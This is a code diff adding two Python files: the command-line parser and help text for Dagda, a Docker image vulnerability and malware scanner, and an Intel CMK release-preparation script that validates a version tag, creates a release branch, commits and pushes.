 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #
2
+ # Licensed to Dagda under one or more contributor
3
+ # license agreements. See the NOTICE file distributed with
4
+ # this work for additional information regarding copyright
5
+ # ownership. Dagda licenses this file to you under
6
+ # the Apache License, Version 2.0 (the "License"); you may
7
+ # not use this file except in compliance with the License.
8
+ # You may obtain a copy of the License at
9
+ #
10
+ # http://www.apache.org/licenses/LICENSE-2.0
11
+ #
12
+ # Unless required by applicable law or agreed to in writing,
13
+ # software distributed under the License is distributed on an
14
+ # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
15
+ # KIND, either express or implied. See the License for the
16
+ # specific language governing permissions and limitations
17
+ # under the License.
18
+ #
19
+
20
+ import argparse
21
+ import sys
22
+ from cli.command.check_cli_parser import CheckCLIParser
23
+ from cli.command.docker_cli_parser import DockerCLIParser
24
+ from cli.command.history_cli_parser import HistoryCLIParser
25
+ from cli.command.vuln_cli_parser import VulnCLIParser
26
+ from cli.command.start_cli_parser import StartCLIParser
27
+ from cli.command.monitor_cli_parser import MonitorCLIParser
28
+ from cli.command.agent_cli_parser import AgentCLIParser
29
+
30
+
31
+ class DagdaCLIParser:
32
+
33
+ # -- Public methods
34
+
35
+ # DagdaCLIParser Constructor
36
+ def __init__(self):
37
+ super(DagdaCLIParser, self).__init__()
38
+ self.parser = DagdaGlobalParser(prog='dagda.py', usage=dagda_global_parser_text, add_help=False)
39
+ self.parser.add_argument('command', choices=['vuln', 'check', 'history', 'start', 'monitor', 'docker', 'agent'])
40
+ self.parser.add_argument('-h', '--help', action=_HelpAction)
41
+ self.parser.add_argument('-v', '--version', action='version', version='%(prog)s 0.9.0')
42
+ self.args, self.unknown = self.parser.parse_known_args()
43
+ if self.get_command() == 'vuln':
44
+ self.extra_args = VulnCLIParser()
45
+ elif self.get_command() == 'check':
46
+ self.extra_args = CheckCLIParser()
47
+ elif self.get_command() == 'history':
48
+ self.extra_args = HistoryCLIParser()
49
+ elif self.get_command() == 'start':
50
+ self.extra_args = StartCLIParser()
51
+ elif self.get_command() == 'monitor':
52
+ self.extra_args = MonitorCLIParser()
53
+ elif self.get_command() == 'docker':
54
+ self.extra_args = DockerCLIParser()
55
+ elif self.get_command() == 'agent':
56
+ self.extra_args = AgentCLIParser()
57
+
58
+ # -- Getters
59
+
60
+ # Gets command
61
+ def get_command(self):
62
+ return self.args.command
63
+
64
+ # Gets extra args
65
+ def get_extra_args(self):
66
+ return self.extra_args
67
+
68
+
69
+ # Overrides Help Action class
70
+
71
+ class _HelpAction(argparse._HelpAction):
72
+
73
+ def __call__(self, parser, namespace, values, option_string=None):
74
+ if sys.argv[1] != 'vuln' and sys.argv[1] != 'check' and sys.argv[1] != 'history' and sys.argv[1] != 'start' \
75
+ and sys.argv[1] != 'monitor' and sys.argv[1] != 'docker' and sys.argv[1] != 'agent':
76
+ parser.print_help()
77
+ parser.exit()
78
+
79
+
80
+ # Custom Parser
81
+
82
+ class DagdaGlobalParser(argparse.ArgumentParser):
83
+
84
+ # Overrides the error method
85
+ def error(self, message):
86
+ self.print_usage()
87
+ exit(2)
88
+
89
+ # Overrides the format help method
90
+ def format_help(self):
91
+ return dagda_global_parser_text
92
+
93
+
94
+ # -- Custom message
95
+
96
+ dagda_global_parser_text = '''usage: dagda.py [--version] [--help] <command> [args]
97
+
98
+ Dagda Commands:
99
+ agent run a remote agent for performing the analysis of known
100
+ vulnerabilities, trojans, viruses, malware & other
101
+ malicious threats in docker images/containers
102
+ check perform the analysis of known vulnerabilities, trojans,
103
+ viruses, malware & other malicious threats in docker
104
+ images/containers
105
+ docker list all docker images/containers and all docker daemon
106
+ events
107
+ history retrieve the analysis history for the docker images
108
+ monitor perform the monitoring of anomalous activities in
109
+ running docker containers
110
+ start start the Dagda server
111
+ vuln perform operations over your personal CVE, BID, RHBA,
112
+ RHSA & ExploitDB database
113
+
114
+ Optional Arguments:
115
+ -h, --help show this help message and exit
116
+ -v, --version show the version message and exit
117
+ '''
pool/shard009/Python/0084242_prepare_release.py ADDED
@@ -0,0 +1,158 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ # -*- coding: utf-8 -*-
3
+ # Copyright (c) 2017 Intel Corporation
4
+ #
5
+ # Licensed under the Apache License, Version 2.0 (the "License");
6
+ # you may not use this file except in compliance with the License.
7
+ # You may obtain a copy of the License at
8
+ #
9
+ # http://www.apache.org/licenses/LICENSE-2.0
10
+ #
11
+ # Unless required by applicable law or agreed to in writing, software
12
+ # distributed under the License is distributed on an "AS IS" BASIS,
13
+ # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
14
+ # See the License for the specific language governing permissions and
15
+ # limitations under the License.
16
+
17
+ """prepare_release.py
18
+
19
+ Usage:
20
+ .release/prepare_release.py
21
+ .release/prepare_release.py -h
22
+ .release/prepare_release.py --help
23
+
24
+ Information:
25
+ This script based on CMK_RELEASE_VER variable prepares cmk release
26
+ CMK_RELEASE_VER variable should follow pattern vX.Y.Z[-rcV] where
27
+ X,Y,Z number between 0 and 9 (required)
28
+ -rc release candidate indicator (optional)
29
+ V number between 0 and 99 (required only when \"-rc\" is present)
30
+ Examples: v.0.1.9, v4.1.7-rc1, v.7.0.9-rc44
31
+
32
+ Before using this script, read RELEASE.md
33
+ Make sure that your working branch is:
34
+ - "master" branch
35
+ - up to date with origin/master
36
+ - clean
37
+ Make sure that there is no local branch named "cmk-release-CMK_RELEASE_VER"
38
+ Make sure that there is no remote branch named "cmk-release-CMK_RELEASE_VER"
39
+ Make sure that there is no tag CMK_RELEASE_VER present (locally or remotely)
40
+ Make sure that there is no release with tag CMK_RELEASE_VER present
41
+
42
+ ======= IMPORTANT NOTE =======
43
+ After RP with release is reviewed, use "Rebase and merge" in Github PR webpage.
44
+ Jenkins CI/CD is triggered to make release based on specific commit message
45
+ that is setup by this script.
46
+
47
+
48
+ Options:
49
+ -h --help Show this screen.
50
+ """
51
+ import logging
52
+ import os
53
+ import sys
54
+
55
+ from docopt import docopt
56
+ from distutils.util import strtobool
57
+
58
+ import githelpers
59
+
60
+
61
+ def validate_branch_not_existing(branch_name):
62
+ local_branches = githelpers.execute_git_cmd("for-each-ref refs/heads/ --format='%(refname:short)'")
63
+ remote_branches = githelpers.execute_git_cmd("for-each-ref refs/remotes/origin --format='%(refname:strip=3)'")
64
+
65
+ if branch_name in local_branches:
66
+ logging.error("Aborting: Local branch \"{}\" already exists".format(branch_name))
67
+ exit(1)
68
+ if branch_name in remote_branches:
69
+ logging.error("Aborting: Remote branch \"{}\" already exists".format(branch_name))
70
+ exit(1)
71
+
72
+
73
+ def validate_run_path():
74
+ if os.path.dirname(sys.argv[0]) != ".release":
75
+ logging.error("This script can only be run from main repo directory")
76
+ exit(1)
77
+
78
+
79
+ def main():
80
+ docopt(__doc__)
81
+ logging.basicConfig(level=logging.DEBUG)
82
+
83
+ validate_run_path()
84
+ githelpers.validate_master_branch()
85
+
86
+ logging.info("Update local repo")
87
+ githelpers.execute_git_cmd("fetch --quiet")
88
+ githelpers.execute_git_cmd("remote update --prune")
89
+
90
+ try:
91
+ release_tag = os.environ["CMK_RELEASE_VER"]
92
+ except KeyError:
93
+ logging.error("Missing environment variable CMK_RELEASE_VER")
94
+ exit(1)
95
+
96
+ if not githelpers.is_tag_valid(release_tag):
97
+ logging.error("Aborting: Tag \"CMK_RELEASE_VER={}\" is not valid tag".format(release_tag))
98
+ exit(1)
99
+ if githelpers.is_tag_present(release_tag):
100
+ logging.error("Aborting: Tag \"{}\" is already present".format(release_tag))
101
+ exit(1)
102
+
103
+ logging.info("Tag \"{}\" will be used".format(release_tag))
104
+ release_branch_name = "{}-{}".format(githelpers.release_branch_base_name, release_tag)
105
+ logging.info("Release branch name \"{}\"".format(release_branch_name))
106
+ validate_branch_not_existing(release_branch_name)
107
+
108
+ previous_release_tag = githelpers.execute_cmd("cat Makefile | awk -F '=' '/^version=/ {print $2 }'")
109
+ if not githelpers.is_tag_valid(previous_release_tag):
110
+ logging.error("Aborting: Previous tag from Makefile \"{}\" is not valid".format(previous_release_tag))
111
+ exit(1)
112
+
113
+ if previous_release_tag == release_tag:
114
+ logging.error("Aborting: Previous tag from Makefile \"{}\" is the same as new tag \"{}\""
115
+ .format(previous_release_tag, release_tag))
116
+ exit(1)
117
+
118
+ logging.info("All check have passed")
119
+
120
+ while True:
121
+ proceed_input = input("Proceed with preparing the release(yes/no)?: ")
122
+ try:
123
+ if proceed_input in ["yes", "no"]:
124
+ break
125
+ except ValueError:
126
+ print("'Please respond with \'yes\' or \'no\'.")
127
+
128
+ if strtobool(proceed_input):
129
+ logging.info("Checking out release branch")
130
+ githelpers.execute_git_cmd("checkout -b {}".format(release_branch_name))
131
+
132
+ logging.info("Replacing \"{}\" with new tag \"{}\" in repo files".format(previous_release_tag, release_tag))
133
+ githelpers.execute_cmd("git ls-files | xargs -I {{}} sed --follow-symlinks -i 's/{}/{}/g' {{}}"
134
+ .format(previous_release_tag, release_tag))
135
+
136
+ logging.info("Rebuilding docs")
137
+ githelpers.execute_cmd_visible("make docs")
138
+
139
+ logging.info("Committing changes")
140
+ githelpers.execute_git_cmd("add -u")
141
+ githelpers.execute_git_cmd("commit -m\"{} {}.\"".format(githelpers.release_msg, release_tag))
142
+
143
+ logging.info("Pushing release branch to origin")
144
+ githelpers.execute_git_cmd("push origin {}".format(release_branch_name))
145
+
146
+ githelpers.execute_git_cmd("checkout master")
147
+ logging.info("All done - release branch is ready")
148
+ logging.info("Go to github.com and create PR")
149
+ logging.info("============================ IMPORTANT ====================")
150
+ logging.info("After PR review is good to go - Choose \"Rebase and merge\"")
151
+ logging.info("Jenkins CI/CD searches for \"{} vX.Y.Z[-rcV].\"".format(githelpers.release_msg))
152
+ logging.info("string in commit message")
153
+ else:
154
+ logging.info("Aborting on user request")
155
+ exit(0)
156
+
157
+ if __name__ == "__main__":
158
+ main()